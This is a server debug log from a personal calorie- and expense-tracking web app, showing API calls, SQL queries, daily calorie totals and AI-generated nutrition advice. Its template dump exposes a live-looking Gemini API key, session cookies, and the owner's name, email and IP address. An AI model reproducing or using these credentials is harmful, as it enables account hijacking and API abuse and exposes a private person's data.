    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '609',
    surplus_or_deficit: '1791',
    status_flag: 2
  }
]
2025-12-13T11:14:28.343Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-13T11:14:28.343Z server-connect:app Executing action step identify
2025-12-13T11:14:28.343Z server-connect:app options: { provider: 'security' }
2025-12-13T11:14:28.343Z server-connect:output identity: 1
2025-12-13T11:14:28.343Z server-connect:app Executing action step restrict
2025-12-13T11:14:28.343Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T11:14:28.344Z server-connect:output restrict: undefined
2025-12-13T11:14:28.344Z server-connect:app Executing action step processWithGemini
2025-12-13T11:14:28.344Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-13T11:14:37.172Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T11:14:37.172Z server-connect:app Executing action step identify
2025-12-13T11:14:37.172Z server-connect:app options: { provider: 'security' }
2025-12-13T11:14:37.173Z server-connect:output identity: 1
2025-12-13T11:14:37.173Z server-connect:app Executing action step restrict
2025-12-13T11:14:37.173Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T11:14:37.173Z server-connect:output restrict: undefined
2025-12-13T11:14:37.173Z server-connect:router Render template layouts/main
2025-12-13T11:14:37.173Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:58.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-13T11:14:37.747Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-13T11:14:37.747Z server-connect:app Executing action step identify
2025-12-13T11:14:37.747Z server-connect:app options: { provider: 'security' }
2025-12-13T11:14:37.747Z server-connect:output identity: 1
2025-12-13T11:14:37.747Z server-connect:app Executing action step restrict
2025-12-13T11:14:37.748Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T11:14:37.748Z server-connect:output restrict: undefined
2025-12-13T11:14:37.748Z server-connect:app Executing action step single
2025-12-13T11:14:37.748Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-13T11:14:37.750Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-13T11:14:37.750Z server-connect:app Executing action step select
2025-12-13T11:14:37.750Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-13T11:14:37.753Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T11:14:37.753Z server-connect:output item_list: [
  {
    id: 371,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'Black coffee,Water',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Enhances performance and focus during early morning workouts without significant caloric intake. Beneficial for muscle development goal.'
  },
  {
    id: 372,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Paneer',
    calories: 145,
    protein_gm: 9,
    carbs_gm: 2,
    fat_gm: 11,
    quantity: '50 gm',
    replacements: 'Low-fat paneer (reduced fat content, fewer calories),Tofu (lower fat, good protein),Chicken breast (lean protein, low fat),Egg whites (pure protein, no fat),Greek yogurt (high protein, often low fat)',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of high-quality protein and healthy fats, crucial for muscle repair, growth, and satiety, especially important for a muscle development goal with consistent gym activity.'
  },
  {
    id: 373,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Sugar Tea',
    calories: 102,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 4,
    quantity: '1 small cup (approx 100ml full-fat milk, 10g sugar)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Tea with artificial sweetener (e.g., stevia, sucralose),Tea with skim milk or low-fat milk (reduced calories, fat),Tea with less sugar or no sugar',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 3,
    skip_reason: 'This item is high in added sugar, providing empty calories that contribute minimally to muscle development and can hinder fat loss efforts. For someone with a desk job and a muscle development goal, minimizing added sugars is key to maintaining a lean physique and optimizing nutrient intake. Full-fat milk also adds unnecessary calories and saturated fat that could be optimized by using skim or low-fat milk.'
  },
  {
    id: 374,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 48,
    protein_gm: 2,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: "1 cup (approx 200ml, assuming 75ml full-fat cow's milk and 125ml brewed black tea)",
    replacements: 'Tea with skim milk or low-fat milk,Black tea or green tea (zero calories),Herbal tea',
    created_at: '2025-12-13T01:32:31.000Z',
    skip_level: 1,
    skip_reason: 'Milk tea without sugar is a generally good choice, especially for someone with your activity level and muscle development goals. Milk provides essential protein and calcium, beneficial for muscle repair and bone health. By skipping sugar, you avoid empty calories and added sugars, making it a much healthier beverage choice.'
  },
  {
    id: 375,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 medium (approx 100g edible portion)',
    replacements: 'Berries (e.g., strawberries, blueberries),Apple,Guava',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for energy, especially beneficial for pre or post-workout recovery. Provides potassium crucial for muscle function and electrolyte balance. A good choice for muscle development.'
  },
  {
    id: 376,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 77,
    protein_gm: 1,
    carbs_gm: 20,
    fat_gm: 1,
    quantity: '3 slices (approx 180g, assuming 60g per slice)',
    replacements: 'Cucumber,Watermelon,Cantaloupe',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Low in calories and rich in vitamins (C and A) and antioxidants. Contains papain, an enzyme that aids digestion, which can be beneficial. Good for hydration and general health support for an active lifestyle.'
  },
  {
    id: 377,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 138,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 32g)',
    replacements: 'Lean chicken breast (e.g., grilled),Egg whites,Low-fat cottage cheese,Tofu (firm)',
    created_at: '2025-12-13T01:56:27.000Z',
    skip_level: 1,
    skip_reason: "Excellent for muscle repair and growth. It's a fast-digesting, high-quality protein source, crucial for post-workout recovery and meeting protein targets for muscle development, especially with frequent gym sessions."
  }
]
2025-12-13T11:14:37.753Z server-connect:app Executing action step setvalue
2025-12-13T11:14:37.753Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-13T11:14:37.754Z server-connect:output var_total: 609
2025-12-13T11:14:37.754Z server-connect:app Executing action step setvalue
2025-12-13T11:14:37.754Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-13T11:14:37.754Z server-connect:output var_consumed: 25
2025-12-13T11:14:37.754Z server-connect:app Executing action step setvalue
2025-12-13T11:14:37.754Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-13T11:14:37.754Z server-connect:output var_deficit: 1791
2025-12-13T11:14:37.754Z server-connect:app Executing action step custom
2025-12-13T11:14:37.754Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-13T11:14:37.754Z server-connect:app Executing action step identify
2025-12-13T11:14:37.754Z server-connect:app options: { provider: 'security' }
2025-12-13T11:14:37.754Z server-connect:output identity: 1
2025-12-13T11:14:37.754Z server-connect:app Executing action step restrict
2025-12-13T11:14:37.754Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T11:14:37.755Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T11:14:37.756Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '609',
    surplus_or_deficit: '1791',
    status_flag: 2
  }
]
2025-12-13T11:14:37.756Z server-connect:app Executing action step identify
2025-12-13T11:14:37.756Z server-connect:app options: { provider: 'security' }
2025-12-13T11:14:37.756Z server-connect:output identity: 1
2025-12-13T11:14:37.756Z server-connect:app Executing action step restrict
2025-12-13T11:14:37.756Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T11:14:37.757Z server-connect:output restrict: undefined
2025-12-13T11:14:37.757Z server-connect:app Executing action step select
2025-12-13T11:14:37.757Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T11:14:37.757Z server-connect:output restrict: undefined
2025-12-13T11:14:37.757Z server-connect:app Executing action step single
2025-12-13T11:14:37.758Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T11:14:37.762Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T11:14:37.764Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T11:14:42.576Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Papaya',
      quantity: '3 slices (approx 150g)',
      total_calories: 64.5,
      protein: 0.75,
      carbs: 16.2,
      fat: 0.45,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of vitamins (A, C), fiber, and antioxidants, good for overall health and digestion, beneficial for someone with a demanding exercise routine.'
    },
    {
      food_name: 'Full-fat Milk (in tea)',
      quantity: '100ml',
      total_calories: 61,
      protein: 3.3,
      carbs: 4.7,
      fat: 3.3,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'While milk provides protein and calcium, full-fat milk adds saturated fat. For muscle development combined with a desk job, controlling fat intake is beneficial for lean mass goals. Opting for low-fat or skim milk would reduce calorie and saturated fat content without compromising much on protein.'
    },
    {
      food_name: 'White Sugar (in tea)',
      quantity: '2 teaspoons (approx 8g)',
      total_calories: 32,
      protein: 0,
      carbs: 8,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 3,
      skip_reason: "White sugar provides empty calories with no nutritional value, leading to sugar spikes and crashes. For muscle development and overall health, it's best to minimize or eliminate added sugars to support fat loss and stable energy levels, especially when combined with a desk job."
    }
  ],
  total_summary: {
    total_calories: 157.5,
    total_protein: 4.05,
    total_carbs: 28.9,
    total_fat: 3.75,
    macro_unit: 'grams'
  }
}
2025-12-13T11:14:55.879Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
